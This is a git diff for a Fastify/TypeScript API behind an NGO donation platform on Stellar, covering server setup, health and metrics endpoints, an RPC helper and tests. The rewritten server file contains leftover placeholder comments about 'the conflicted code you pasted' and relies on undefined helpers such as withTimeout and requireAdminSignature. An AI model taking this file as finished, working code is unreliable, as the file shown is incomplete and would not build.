DEFAULT_BODY_LIMIT_BYTES; - if (!/^\d+$/.test(value)) { - throw new Error('BODY_LIMIT_BYTES must be a positive integer.'); - } - const parsed = Number(value); - if (!Number.isSafeInteger(parsed) || parsed < 1) { - throw new Error('BODY_LIMIT_BYTES must be a positive integer.'); - } - return parsed; -} - -export function buildServer(options?: BuildServerOptions) { - const requestStartedAt = new WeakMap(); - const bodyLimit = configuredBodyLimit(); - const trustProxySetting = - options?.trustProxy !== undefined - ? options.trustProxy - : parseTrustProxy(process.env.TRUST_PROXY); - - const app = Fastify({ - ...requestIdOptions, - bodyLimit, - logger: { - level: process.env.LOG_LEVEL ?? 'info', - transport: USE_PRETTY_LOGS - ? { target: 'pino-pretty' } - : undefined, - }, - trustProxy: trustProxySetting, - }); - - registerRequestIdHeader(app); - app.register(registerCompression); - - app.addHook('preParsing', async (request, _reply, payload) => { - const bodylessMethods = new Set(['GET', 'HEAD', 'DELETE', 'OPTIONS']); - - if (bodylessMethods.has(request.method)) { - (request as typeof request & { rawBody: Buffer }).rawBody = - Buffer.alloc(0); - return payload; - } - - const chunks: Buffer[] = []; - let receivedBytes = 0; - for await (const chunk of payload) { - const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk as string); - receivedBytes += bytes.length; - if (receivedBytes > bodyLimit) { - const error = new Error('Request body is too large.') as FastifyError; - error.statusCode = 413; - throw error; - } - chunks.push(bytes); - } - - const raw = Buffer.concat(chunks); - (request as typeof request & { rawBody: Buffer }).rawBody = raw; - - const { Readable } = await import('node:stream'); - return Readable.from(raw); - }); - - app.setErrorHandler((error: FastifyError, request, reply) => { - request.log.error(error); - - const candidateStatusCode = - typeof error === 'object' && - error !== null && - 'statusCode' in error - ? error.statusCode - : undefined; - - const statusCode = - typeof candidateStatusCode === 'number' && - candidateStatusCode >= 400 && - candidateStatusCode < 600 - ? candidateStatusCode - : 500; - - const errorString = - statusCode === 404 - ? 'not_found' - : statusCode === 400 - ? 'invalid_request' - : statusCode === 413 - ? 'payload_too_large' - : statusCode === 415 - ? 'unsupported_media_type' - : statusCode === 429 - ? 'rate_limited' - : 'internal_server_error'; - - reply.code(statusCode).send({ error: errorString }); - }); - - app.setNotFoundHandler((_request, reply) => { - return reply.code(404).send({ error: 'not_found' }); - }); - - app.register(helmet, { - contentSecurityPolicy: false, - global: true, - }); - - const allowedOrigins = ( - process.env.CORS_ORIGINS ?? 'http://localhost:3001' - ) - .split(',') - .map((origin) => origin.trim()) - .filter((origin) => origin.length > 0); - - app.register(cors, { - origin: allowedOrigins, - methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'], - allowedHeaders: [ - 'content-type', - 'x-admin-address', - 'x-admin-signature', - 'x-admin-timestamp', - 'x-request-id', - ], - exposedHeaders: [ - 'x-request-id', - 'retry-after', - 'x-ratelimit-limit', - 'x-ratelimit-remaining', - 'x-ratelimit-reset', - ], - }); - - app.register(rateLimit, { - global: true, - max: Number(process.env.RATE_LIMIT_MAX ?? 100), - timeWindow: process.env.RATE_LIMIT_WINDOW ?? '1 minute', - addHeaders: { - 'x-ratelimit-limit': true, - 'x-ratelimit-remaining': true, - 'x-ratelimit-reset': true, - 'retry-after': true, - }, - }); - - const rootRateLimitedRoutes = new Set([ - '/metrics', - '/health', - '/health/ready', - ]); - - app.addHook('onRequest', async (request, reply) => { - if (rootRateLimitedRoutes.has(request.routeOptions.url ?? '')) { - await request.server.rateLimit - .call(request.server) - .call(request.server, request, reply); - } - }); - - app.addHook('onRequest', async (request) => { - requestStartedAt.set(request, process.hrtime.bigint()); - }); - - app.addHook('onResponse', async (request, reply) => { - const startedAt = requestStartedAt.get(request); - if (startedAt === undefined) return; - - const durationSeconds = - Number(process.hrtime.bigint() - startedAt) / 1_000_000_000; - - recordHttpRequest( - request.method, - request.routeOptions.url ?? 'unmatched', - reply.statusCode, - durationSeconds, - ); - }); - - // Metrics endpoint - app.get( - '/metrics', - { - onRequest: async (request, reply) => { - const token = process.env.METRICS_TOKEN?.trim(); - - if ( - token && - !hasValidBearerToken(request.headers.authorization, token) - ) { - return reply.code(401).send({ error: 'unauthorized' }); - } - }, - schema: { - tags: ['Metrics'], - summary: 'Expose Prometheus metrics', - }, - }, - async (_request, reply) => { - reply.header( - 'content-type', - 'text/plain; version=0.0.4; charset=utf-8', - ); - return renderMetrics(); - }, - ); - - // Liveness probe - const healthHandler = async (_req: unknown, reply: FastifyReply) => { - const dbResult = await Promise.allSettled([ - withTimeout( - prisma.$queryRaw`SELECT 1`, - HEALTH_CHECK_TIMEOUT_MS, - ), - ]); - - const db = dbResult[0].status === 'fulfilled' ? 'ok' : 'error'; - const status = db === 'ok' ? 'ok' : 'error'; - - return reply - .code(status === 'ok' ? 200 : 503) - .send({ status, db }); - }; - - app.get('/health', healthHandler); - app.get('/v1/health', healthHandler); - - // Readiness probe - app.get('/health/ready', async (request, reply) => { - try { - await withTimeout( - prisma.$queryRaw`SELECT 1`, - HEALTH_CHECK_TIMEOUT_MS, - ); - - const [latestLedger, checkpointLedger] = await Promise.all([ - withTimeout( - getLatestLedgerSequence(), - HEALTH_CHECK_TIMEOUT_MS, - ), - getCheckpoint(), - ]); - - if (checkpointLedger === undefined) { - return reply - .code(503) - .send({ - status: 'error', - reason: 'indexer_not_started', - }); - } - - const lag = latestLedger - checkpointLedger; - const parsedThreshold = parseInt( - process.env.INDEXER_LAG_THRESHOLD ?? '100', - 10, - ); - const threshold = Number.isNaN(parsedThreshold) - ? 0 - : parsedThreshold; - - if (lag > threshold) { - return reply.code(503).send({ - status: 'error', - reason: 'indexer_lagging', - lag, - threshold, - }); - } - - return { - status: 'ok', - lag, - latestLedger, - checkpointLedger, - }; - } catch (error) { - request.log.error(error); - - return reply - .code(503) - .send({ - status: 'error', - reason: 'service_unavailable', - }); - } - }); - - // OpenAPI route metadata and security - app.addHook('onRoute', (route) => { - const schemas: Record = { - '/v1/ngos': { - tags: ['NGOs'], - summary: 'List verified NGOs', - querystring: { - type: 'object', - properties: { - limit: { - type: 'integer', - minimum: 1, - maximum: 100, - default: 100, - }, - cursor: { type: 'string', format: 'uuid' }, - sort: { - type: 'string', - enum: ['newest', 'oldest', 'name'], - default: 'newest', - }, - q: { type: 'string', maxLength: 100 }, - }, - }, - }, - '/v1/ngos/lookup': { - tags: ['NGOs'], - summary: 'Find an NGO by Stellar address', - querystring: { - type: 'object', - properties: { - address: { - type: 'string', - pattern: '^G[A-Z2-7]{55}$', - }, - }, - required: ['address'], - }, - }, - '/v1/ngos/:id/donors': { - tags: ['NGOs'], - summary: 'List donors for an NGO', - params: { - type: 'object', - properties: { - id: { type: 'string', format: 'uuid' }, - }, - required: ['id'], - }, - querystring: { - type: 'object', - properties: { - limit: { - type: 'integer', - minimum: 1, - maximum: 100, - }, - cursor: { type: 'string', format: 'uuid' }, - }, - }, - }, - '/v1/ngos/:id': { - tags: ['NGOs'], - summary: 'Get an NGO profile and impact totals', - params: { - type: 'object', - properties: { - id: { type: 'string', format: 'uuid' }, - }, - required: ['id'], - }, - }, - }; - - const schema = schemas[route.url]; - if (schema) { - route.schema = { ...route.schema, ...schema }; - } - - const hasAdminAuth = - route.preHandler === requireAdminSignature || - (Array.isArray(route.preHandler) && - route.preHandler.includes(requireAdminSignature)); - - if (hasAdminAuth && !route.schema?.security) { - route.schema = { - ...route.schema, - security: [ - { - adminAddress: [], - adminSignature: [], - adminTimestamp: [], - }, - ], - }; - } - - if ( - !route.schema?.tags || - (Array.isArray(route.schema.tags) && - route.schema.tags.length === 0) - ) { - let tag: string | undefined; - - if (route.url.startsWith('/v1/ngos')) tag = 'NGOs'; - else if (route.url.startsWith('/v1/donors')) tag = 'Donors'; - else if (route.url.startsWith('/v1/streams')) tag = 'Streams'; - else if (route.url.startsWith('/v1/impact')) tag = 'Impact'; - else if (route.url.startsWith('/v1/ngo-applications')) { - tag = 'NGO Applications'; - } else if (route.url.startsWith('/v1/indexer')) { - tag = 'Indexer'; - } else if (route.url.startsWith('/health')) { - tag = 'Health'; - } else if (route.url === '/metrics') { - tag = 'Metrics'; - } - - if (tag) { - route.schema = { - ...route.schema, - tags: [tag], - }; - } - } - }); - - // Keep the existing Swagger/OpenAPI registration configuration here. - // It was not included in the conflicted code you pasted. - - const apiPrefix = { prefix: '/v1' }; - - app.register(ngoRoutes, apiPrefix); - app.register(donorRoutes, apiPrefix); - app.register(streamRoutes, apiPrefix); - app.register(impactRoutes, apiPrefix); - app.register(ngoApplicationRoutes, apiPrefix); - app.register(indexerStatusRoutes, apiPrefix); - app.register(deadLetterRoutes, apiPrefix); - - registerLogRetention(app); - - return app; -} +import { timingSafeEqual } from 'node:crypto'; +import cors from '@fastify/cors'; +import helmet from '@fastify/helmet'; +import rateLimit from '@fastify/rate-limit'; +import swagger from '@fastify/swagger'; +import swaggerUi from '@fastify/swagger-ui'; +import Fastify from 'fastify'; +import type { FastifyError, FastifyReply } from 'fastify'; + +import { prisma } from './db.js'; +import { recordHttpRequest, renderMetrics } from './metrics.js'; +import { getCheckpoint } from './indexer/checkpoint.js'; +import { donorRoutes } from './routes/donors.js'; +import { impactRoutes } from './routes/impact.js'; +import { indexerStatusRoutes } from './routes/indexerStatus.js'; +import { getLatestLedgerSequence } from './stellar/rpc.js'; +import { ngoApplicationRoutes } from './routes/ngoApplications.js'; +import { ngoRoutes } from './routes/ngos.js'; +import { deadLetterRoutes } from './routes/deadLetters.js'; +import { streamRoutes } from './routes/streams.js'; +import { registerRequestIdHeader, requestIdOptions } from './requestId.js'; +import { registerCompression } from './plugins/compression.js'; +import { registerLogRetention } from './maintenance/logRetention.js'; + +// Retain the project's existing imports/definitions for: +// - withTimeout +// - HEALTH_CHECK_TIMEOUT_MS +// - requireAdminSignature + +const USE_PRETTY_LOGS = !['production', 'test'].includes( + process.env.NODE_ENV ?? '', +); + +function hasValidBearerToken( + header: string | undefined, + expectedToken: string, +): boolean { + if (header === undefined) return false; + + const match = /^Bearer\s+(.+)$/i.exec(header.trim()); + if (match === null) return false; + + const provided = Buffer.from(match[1]); + const expected = Buffer.from(expectedToken); + + return ( + provided.length === expected.length && + timingSafeEqual(provided, expected) + ); +} + +export type TrustProxySetting = + | boolean + | string + | string[] + | ((address: string, hop: number) => boolean); + +export function parseTrustProxy( + value: string | undefined, +): TrustProxySetting { + if (value === undefined || value.trim() === '') return true; + + const trimmed = value.trim(); + const lower = trimmed.toLowerCase(); + + if (lower === 'true') return true; + if (lower === 'false') return false; + + const num = Number(trimmed); + + if (!Number.isNaN(num) && Number.isInteger(num)) { + if (num <= 0) return false; + return (_address: string, hop: number) => hop < num; + } + + if (trimmed.includes(',')) { + return trimmed + .split(',') + .map((s) => s.trim()) + .filter((s) => s.length > 0); + } + + return trimmed; +} + +export interface BuildServerOptions { + trustProxy?: TrustProxySetting; +} + +const DEFAULT_BODY_LIMIT_BYTES = 1_048_576; + +function configuredBodyLimit(): number { + const value = process.env.BODY_LIMIT_BYTES; + if (value === undefined || value.trim() === '') return DEFAULT_BODY_LIMIT_BYTES; + if (!/^\d+$/.test(value)) { + throw new Error('BODY_LIMIT_BYTES must be a positive integer.'); + } + const parsed = Number(value); + if (!Number.isSafeInteger(parsed) || parsed < 1) { + throw new Error('BODY_LIMIT_BYTES must be a positive integer.'); + } + return parsed; +} + +export function buildServer(options?: BuildServerOptions) { + const requestStartedAt = new WeakMap(); + const bodyLimit = configuredBodyLimit(); + const trustProxySetting = + options?.trustProxy !== undefined + ? options.trustProxy + : parseTrustProxy(process.env.TRUST_PROXY); + + const app = Fastify({ + ...requestIdOptions, + bodyLimit, + logger: { + level: process.env.LOG_LEVEL ?? 'info', + transport: USE_PRETTY_LOGS + ? { target: 'pino-pretty' } + : undefined, + }, + trustProxy: trustProxySetting, + }); + + registerRequestIdHeader(app); + app.register(registerCompression); + + app.addHook('preParsing', async (request, _reply, payload) => { + const bodylessMethods = new Set(['GET', 'HEAD', 'DELETE', 'OPTIONS']); + + if (bodylessMethods.has(request.method)) { + (request as typeof request & { rawBody: Buffer }).rawBody = + Buffer.alloc(0); + return payload; + } + + const chunks: Buffer[] = []; + let receivedBytes = 0; + for await (const chunk of payload) { + const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk as string); + receivedBytes += bytes.length; + if (receivedBytes > bodyLimit) { + const error = new Error('Request body is too large.') as FastifyError; + error.statusCode = 413; + throw error; + } + chunks.push(bytes); + } + + const raw = Buffer.concat(chunks); + (request as typeof request & { rawBody: Buffer }).rawBody = raw; + + const { Readable } = await import('node:stream'); + return Readable.from(raw); + }); + + app.setErrorHandler((error: FastifyError, request, reply) => { + request.log.error(error); + + const candidateStatusCode = + typeof error === 'object' && + error !== null && + 'statusCode' in error + ? error.statusCode + : undefined; + + const statusCode = + typeof candidateStatusCode === 'number' && + candidateStatusCode >= 400 && + candidateStatusCode < 600 + ? candidateStatusCode + : 500; + + const errorString = + statusCode === 404 + ? 'not_found' + : statusCode === 400 + ? 'invalid_request' + : statusCode === 413 + ? 'payload_too_large' + : statusCode === 415 + ? 'unsupported_media_type' + : statusCode === 429 + ? 'rate_limited' + : 'internal_server_error'; + + reply.code(statusCode).send({ error: errorString }); + }); + + app.setNotFoundHandler((_request, reply) => { + return reply.code(404).send({ error: 'not_found' }); + }); + + app.register(helmet, { + contentSecurityPolicy: false, + global: true, + }); + + const allowedOrigins = ( + process.env.CORS_ORIGINS ?? 'http://localhost:3001' + ) + .split(',') + .map((origin) => origin.trim()) + .filter((origin) => origin.length > 0); + + app.register(cors, { + origin: allowedOrigins, + methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'], + allowedHeaders: [ + 'content-type', + 'x-admin-address', + 'x-admin-signature', + 'x-admin-timestamp', + 'x-request-id', + ], + exposedHeaders: [ + 'x-request-id', + 'retry-after', + 'x-ratelimit-limit', + 'x-ratelimit-remaining', + 'x-ratelimit-reset', + ], + }); + + app.register(rateLimit, { + global: true, + max: Number(process.env.RATE_LIMIT_MAX ?? 100), + timeWindow: process.env.RATE_LIMIT_WINDOW ?? '1 minute', + addHeaders: { + 'x-ratelimit-limit': true, + 'x-ratelimit-remaining': true, + 'x-ratelimit-reset': true, + 'retry-after': true, + }, + }); + + const rootRateLimitedRoutes = new Set([ + '/metrics', + '/health', + '/health/ready', + ]); + + app.addHook('onRequest', async (request, reply) => { + if (rootRateLimitedRoutes.has(request.routeOptions.url ?? '')) { + await request.server.rateLimit + .call(request.server) + .call(request.server, request, reply); + } + }); + + app.addHook('onRequest', async (request) => { + requestStartedAt.set(request, process.hrtime.bigint()); + }); + + app.addHook('onResponse', async (request, reply) => { + const startedAt = requestStartedAt.get(request); + if (startedAt === undefined) return; + + const durationSeconds = + Number(process.hrtime.bigint() - startedAt) / 1_000_000_000; + + recordHttpRequest( + request.method, + request.routeOptions.url ?? 'unmatched', + reply.statusCode, + durationSeconds, + ); + }); + + // Metrics endpoint + app.get( + '/metrics', + { + onRequest: async (request, reply) => { + const token = process.env.METRICS_TOKEN?.trim(); + + if ( + token && + !hasValidBearerToken(request.headers.authorization, token) + ) { + return reply.code(401).send({ error: 'unauthorized' }); + } + }, + schema: { + tags: ['Metrics'], + summary: 'Expose Prometheus metrics', + }, + }, + async (_request, reply) => { + reply.header( + 'content-type', + 'text/plain; version=0.0.4; charset=utf-8', + ); + return renderMetrics(); + }, + ); + + // Liveness probe + const healthHandler = async (_req: unknown, reply: FastifyReply) => { + const dbResult = await Promise.allSettled([ + withTimeout( + prisma.$queryRaw`SELECT 1`, + HEALTH_CHECK_TIMEOUT_MS, + ), + ]); + + const db = dbResult[0].status === 'fulfilled' ? 'ok' : 'error'; + const status = db === 'ok' ? 'ok' : 'error'; + + return reply + .code(status === 'ok' ? 200 : 503) + .send({ status, db }); + }; + + app.get('/health', healthHandler); + app.get('/v1/health', healthHandler); + + // Readiness probe + app.get('/health/ready', async (request, reply) => { + try { + await withTimeout( + prisma.$queryRaw`SELECT 1`, + HEALTH_CHECK_TIMEOUT_MS, + ); + + const [latestLedger, checkpointLedger] = await Promise.all([ + withTimeout( + getLatestLedgerSequence(), + HEALTH_CHECK_TIMEOUT_MS, + ), + getCheckpoint(), + ]); + + if (checkpointLedger === undefined) { + return reply + .code(503) + .send({ + status: 'error', + reason: 'indexer_not_started', + }); + } + + const lag = latestLedger - checkpointLedger; + const parsedThreshold = parseInt( + process.env.INDEXER_LAG_THRESHOLD ?? '100', + 10, + ); + const threshold = Number.isNaN(parsedThreshold) + ? 0 + : parsedThreshold; + + if (lag > threshold) { + return reply.code(503).send({ + status: 'error', + reason: 'indexer_lagging', + lag, + threshold, + }); + } + + return { + status: 'ok', + lag, + latestLedger, + checkpointLedger, + }; + } catch (error) { + request.log.error(error); + + return reply + .code(503) + .send({ + status: 'error', + reason: 'service_unavailable', + }); + } + }); + + // OpenAPI route metadata and security + app.addHook('onRoute', (route) => { + const schemas: Record = { + '/v1/ngos': { + tags: ['NGOs'], + summary: 'List verified NGOs', + querystring: { + type: 'object', + properties: { + limit: { + type: 'integer', + minimum: 1, + maximum: 100, + default: 100, + }, + cursor: { type: 'string', format: 'uuid' }, + sort: { + type: 'string', + enum: ['newest', 'oldest', 'name'], + default: 'newest', + }, + q: { type: 'string', maxLength: 100 }, + }, + }, + }, + '/v1/ngos/lookup': { + tags: ['NGOs'], + summary: 'Find an NGO by Stellar address', + querystring: { + type: 'object', + properties: { + address: { + type: 'string', + pattern: '^G[A-Z2-7]{55}$', + }, + }, + required: ['address'], + }, + }, + '/v1/ngos/:id/donors': { + tags: ['NGOs'], + summary: 'List donors for an NGO', + params: { + type: 'object', + properties: { + id: { type: 'string', format: 'uuid' }, + }, + required: ['id'], + }, + querystring: { + type: 'object', + properties: { + limit: { + type: 'integer', + minimum: 1, + maximum: 100, + }, + cursor: { type: 'string', format: 'uuid' }, + }, + }, + }, + '/v1/ngos/:id': { + tags: ['NGOs'], + summary: 'Get an NGO profile and impact totals', + params: { + type: 'object', + properties: { + id: { type: 'string', format: 'uuid' }, + }, + required: ['id'], + }, + }, + }; + + const schema = schemas[route.url]; + if (schema) { + route.schema = { ...route.schema, ...schema }; + } + + const hasAdminAuth = + route.preHandler === requireAdminSignature || + (Array.isArray(route.preHandler) && + route.preHandler.includes(requireAdminSignature)); + + if (hasAdminAuth && !route.schema?.security) { + route.schema = { + ...route.schema, + security: [ + { + adminAddress: [], + adminSignature: [], + adminTimestamp: [], + }, + ], + }; + } + + if ( + !route.schema?.tags || + (Array.isArray(route.schema.tags) && + route.schema.tags.length === 0) + ) { + let tag: string | undefined; + + if (route.url.startsWith('/v1/ngos')) tag = 'NGOs'; + else if (route.url.startsWith('/v1/donors')) tag = 'Donors'; + else if (route.url.startsWith('/v1/streams')) tag = 'Streams'; + else if (route.url.startsWith('/v1/impact')) tag = 'Impact'; + else if (route.url.startsWith('/v1/ngo-applications')) { + tag = 'NGO Applications'; + } else if (route.url.startsWith('/v1/indexer')) { + tag = 'Indexer'; + } else if (route.url.startsWith('/health')) { + tag = 'Health'; + } else if (route.url === '/metrics') { + tag = 'Metrics'; + } + + if (tag) { + route.schema = { + ...route.schema, + tags: [tag], + }; + } + } + }); + + // Keep the existing Swagger/OpenAPI registration configuration here. + // It was not included in the conflicted code you pasted. + + const apiPrefix = { prefix: '/v1' }; + + app.register(ngoRoutes, apiPrefix); + app.register(donorRoutes, apiPrefix); + app.register(streamRoutes, apiPrefix); + app.register(impactRoutes, apiPrefix); + app.register(ngoApplicationRoutes, apiPrefix); + app.register(indexerStatusRoutes, apiPrefix); + app.register(deadLetterRoutes, apiPrefix); + + registerLogRetention(app); + + return app; +} diff --git a/src/services/impactService.ts b/src/services/impactService.ts index 6c3e426..d494286 100644 --- a/src/services/impactService.ts +++ b/src/services/impactService.ts @@ -1,10 +1,10 @@ -import { prisma } from '../db.js'; - -export async function getPlatformTotalSum(): Promise { - const result = await prisma.$queryRaw<[{ total: string | null }]>` - SELECT SUM(balance::numeric + withdrawn::numeric)::text as total - FROM "streams"; - `; - - return result[0]?.total ?? '0'; -} +import { prisma } from '../db.js'; + +export async function getPlatformTotalSum(): Promise { + const result = await prisma.$queryRaw<[{ total: string | null }]>` + SELECT SUM(balance::numeric + withdrawn::numeric)::text as total + FROM "streams"; + `; + + return result[0]?.total ?? '0'; +} diff --git a/src/stellar/rpc.ts b/src/stellar/rpc.ts index 428c2de..6cda714 100644 --- a/src/stellar/rpc.ts +++ b/src/stellar/rpc.ts @@ -1,51 +1,51 @@ -import { - Account, - Contract, - Keypair, - Networks, - scValToNative, - TransactionBuilder, - type xdr, -} from '@stellar/stellar-sdk'; -import { Server } from '@stellar/stellar-sdk/rpc'; - -const SOROBAN_RPC_URL = process.env.SOROBAN_RPC_URL ?? 'https://soroban-testnet.stellar.org'; - -export const rpcServer = new Server(SOROBAN_RPC_URL); - -/** Latest ledger sequence the configured RPC node has ingested. */ -export async function getLatestLedgerSequence(): Promise { - const { sequence } = await rpcServer.getLatestLedger(); - return sequence; -} - -/** Call a read-only Soroban contract function and return the decoded result. */ -export async function callContract( - contractId: string, - method: string, - args: xdr.ScVal[] = [], -): Promise { - const source = new Account(Keypair.random().publicKey(), '0'); - const contract = new Contract(contractId); - - const tx = new TransactionBuilder(source, { - fee: '100', - networkPassphrase: process.env.STELLAR_NETWORK_PASSPHRASE ?? Networks.TESTNET, - }) - .addOperation(contract.call(method, ...args)) - .setTimeout(0) - .build(); - - const sim = await rpcServer.simulateTransaction(tx); - - if ('error' in sim) { - throw new Error(`Soroban simulation failed: ${sim.error}`); - } - - const retVal = 'result' in sim ? sim.result?.retval : undefined; - if (!retVal) { - throw new Error('Soroban simulation returned no return value'); - } - - return scValToNative(retVal) as T; -} +import { + Account, + Contract, + Keypair, + Networks, + scValToNative, + TransactionBuilder, + type xdr, +} from '@stellar/stellar-sdk'; +import { Server } from '@stellar/stellar-sdk/rpc'; + +const SOROBAN_RPC_URL = process.env.SOROBAN_RPC_URL ?? 'https://soroban-testnet.stellar.org'; + +export const rpcServer = new Server(SOROBAN_RPC_URL); + +/** Latest ledger sequence the configured RPC node has ingested. */ +export async function getLatestLedgerSequence(): Promise { + const { sequence } = await rpcServer.getLatestLedger(); + return sequence; +} + +/** Call a read-only Soroban contract function and return the decoded result. */ +export async function callContract( + contractId: string, + method: string, + args: xdr.ScVal[] = [], +): Promise { + const source = new Account(Keypair.random().publicKey(), '0'); + const contract = new Contract(contractId); + + const tx = new TransactionBuilder(source, { + fee: '100', + networkPassphrase: process.env.STELLAR_NETWORK_PASSPHRASE ?? Networks.TESTNET, + }) + .addOperation(contract.call(method, ...args)) + .setTimeout(0) + .build(); + + const sim = await rpcServer.simulateTransaction(tx); + + if ('error' in sim) { + throw new Error(`Soroban simulation failed: ${sim.error}`); + } + + const retVal = 'result' in sim ? sim.result?.retval : undefined; + if (!retVal) { + throw new Error('Soroban simulation returned no return value'); + } + + return scValToNative(retVal) as T; +} diff --git a/test/bodyLimit.test.ts b/test/bodyLimit.test.ts index c71e7c0..87b9f6c 100644 --- a/test/bodyLimit.test.ts +++ b/test/bodyLimit.test.ts @@ -1,37 +1,37 @@ -import { afterEach, describe, expect, it } from 'vitest'; - -import { buildServer } from '../src/server.js'; - -describe('request body limit', () => { - const originalLimit = process.env.BODY_LIMIT_BYTES; - - afterEach(() => { - if (originalLimit === undefined) delete process.env.BODY_LIMIT_BYTES; - else process.env.BODY_LIMIT_BYTES = originalLimit; - }); - - it('rejects oversized bodies using the standard 413 error response', async () => { - process.env.BODY_LIMIT_BYTES = '64'; - const app = buildServer(); - app.post('/test-body-limit', async (request) => request.body); - - try { - const response = await app.inject({ - method: 'POST', - url: '/test-body-limit', - headers: { 'content-type': 'application/json' }, - payload: JSON.stringify({ value: 'x'.repeat(100) }), - }); - - expect(response.statusCode).toBe(413); - expect(response.json()).toEqual({ error: 'payload_too_large' }); - } finally { - await app.close(); - } - }); - - it('rejects invalid body-limit configuration', () => { - process.env.BODY_LIMIT_BYTES = 'not-a-number'; - expect(() => buildServer()).toThrow('BODY_LIMIT_BYTES must be a positive integer.'); - }); -}); +import { afterEach, describe, expect, it } from 'vitest'; + +import { buildServer } from '../src/server.js'; + +describe('request body limit', () => { + const originalLimit = process.env.BODY_LIMIT_BYTES; + + afterEach(() => { + if (originalLimit === undefined) delete process.env.BODY_LIMIT_BYTES; + else process.env.BODY_LIMIT_BYTES = originalLimit; + }); + + it('rejects oversized bodies using the standard 413 error response', async () => { + process.env.BODY_LIMIT_BYTES = '64'; + const app = buildServer(); + app.post('/test-body-limit', async (request) => request.body); + + try { + const response = await app.inject({ + method: 'POST', + url: '/test-body-limit', + headers: { 'content-type': 'application/json' }, + payload: JSON.stringify({ value: 'x'.repeat(100) }), + }); + + expect(response.statusCode).toBe(413); + expect(response.json()).toEqual({ error: 'payload_too_large' }); + } finally { + await app.close(); + } + }); + + it('rejects invalid body-limit configuration', () => { + process.env.BODY_LIMIT_BYTES = 'not-a-number'; + expect(() => buildServer()).toThrow('BODY_LIMIT_BYTES must be a positive integer.'); + }); +}); diff --git a/test/cacheable.test.ts b/test/cacheable.test.ts index d41d548..499c419 100644 --- a/test/cacheable.test.ts +++ b/test/cacheable.test.ts @@ -1,154 +1,154 @@ -import { createHash } from 'node:crypto'; - -import Fastify from 'fastify'; -import { describe, expect, it } from 'vitest'; - -import { sendPublicCacheable } from '../src/routes/cacheable.js'; - -/** The validator the helper is expected to produce for a given body. */ -function expectedEtag(body: string): string { - return `"${createHash('sha256').update(body).digest('base64url')}"`; -} - -describe('public conditional responses', () => { - it('returns an ETag and answers a matching If-None-Match with 304', async () => { - const app = Fastify(); - app.get('/public', async (request, reply) => - sendPublicCacheable(request, reply, { value: 'current' }), - ); - - const firstResponse = await app.inject({ method: 'GET', url: '/public' }); - const etag = firstResponse.headers.etag; - expect(etag).toBeDefined(); - expect(etag).toBe(expectedEtag(JSON.stringify({ value: 'current' }))); - expect(firstResponse.headers['cache-control']).toContain('public'); - - const cachedResponse = await app.inject({ - method: 'GET', - url: '/public', - headers: { 'if-none-match': `W/${etag}` }, - }); - - expect(cachedResponse.statusCode).toBe(304); - expect(cachedResponse.body).toBe(''); - expect(cachedResponse.headers.etag).toBe(etag); - - await app.close(); - }); - - it('returns 304 for If-None-Match: * (matches any representation)', async () => { - const app = Fastify(); - app.get('/public', async (request, reply) => - sendPublicCacheable(request, reply, { value: 'data' }), - ); - - const response = await app.inject({ - method: 'GET', - url: '/public', - headers: { 'if-none-match': '*' }, - }); - - expect(response.statusCode).toBe(304); - expect(response.body).toBe(''); - - await app.close(); - }); - - it('returns 304 when If-None-Match contains a weak ETag validator', async () => { - const app = Fastify(); - app.get('/public', async (request, reply) => - sendPublicCacheable(request, reply, { value: 'content' }), - ); - - const firstResponse = await app.inject({ method: 'GET', url: '/public' }); - const etag = firstResponse.headers.etag; - - const cachedResponse = await app.inject({ - method: 'GET', - url: '/public', - headers: { 'if-none-match': `W/${etag}` }, - }); - - expect(cachedResponse.statusCode).toBe(304); - - await app.close(); - }); - - it('returns 304 when If-None-Match is a comma-separated list containing the right ETag', async () => { - const app = Fastify(); - app.get('/public', async (request, reply) => - sendPublicCacheable(request, reply, { version: 3 }), - ); - - const firstResponse = await app.inject({ method: 'GET', url: '/public' }); - const etag = firstResponse.headers.etag; - - const cachedResponse = await app.inject({ - method: 'GET', - url: '/public', - headers: { 'if-none-match': `"old-etag-1", ${etag}, "old-etag-2"` }, - }); - - expect(cachedResponse.statusCode).toBe(304); - - await app.close(); - }); - - it('returns 200 with full body when If-None-Match does not match', async () => { - const app = Fastify(); - app.get('/public', async (request, reply) => - sendPublicCacheable(request, reply, { status: 'fresh' }), - ); - - const response = await app.inject({ - method: 'GET', - url: '/public', - headers: { 'if-none-match': '"non-matching-etag"' }, - }); - - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual({ status: 'fresh' }); - - await app.close(); - }); - - it('handles comma-separated list with weak validators', async () => { - const app = Fastify(); - app.get('/public', async (request, reply) => - sendPublicCacheable(request, reply, { data: 'test' }), - ); - - const firstResponse = await app.inject({ method: 'GET', url: '/public' }); - const etag = firstResponse.headers.etag; - - const cachedResponse = await app.inject({ - method: 'GET', - url: '/public', - headers: { 'if-none-match': `W/"other", W/${etag}, W/"another"` }, - }); - - expect(cachedResponse.statusCode).toBe(304); - - await app.close(); - }); - - it('handles If-None-Match with spaces around commas', async () => { - const app = Fastify(); - app.get('/public', async (request, reply) => - sendPublicCacheable(request, reply, { value: 'spaced' }), - ); - - const firstResponse = await app.inject({ method: 'GET', url: '/public' }); - const etag = firstResponse.headers.etag; - - const cachedResponse = await app.inject({ - method: 'GET', - url: '/public', - headers: { 'if-none-match': ` "old" , ${etag} , "other" ` }, - }); - - expect(cachedResponse.statusCode).toBe(304); - - await app.close(); - }); -}); +import { createHash } from 'node:crypto'; + +import Fastify from 'fastify'; +import { describe, expect, it } from 'vitest'; + +import { sendPublicCacheable } from '../src/routes/cacheable.js'; + +/** The validator the helper is expected to produce for a given body. */ +function expectedEtag(body: string): string { + return `"${createHash('sha256').update(body).digest('base64url')}"`; +} + +describe('public conditional responses', () => { + it('returns an ETag and answers a matching If-None-Match with 304', async () => { + const app = Fastify(); + app.get('/public', async (request, reply) => + sendPublicCacheable(request, reply, { value: 'current' }), + ); + + const firstResponse = await app.inject({ method: 'GET', url: '/public' }); + const etag = firstResponse.headers.etag; + expect(etag).toBeDefined(); + expect(etag).toBe(expectedEtag(JSON.stringify({ value: 'current' }))); + expect(firstResponse.headers['cache-control']).toContain('public'); + + const cachedResponse = await app.inject({ + method: 'GET', + url: '/public', + headers: { 'if-none-match': `W/${etag}` }, + }); + + expect(cachedResponse.statusCode).toBe(304); + 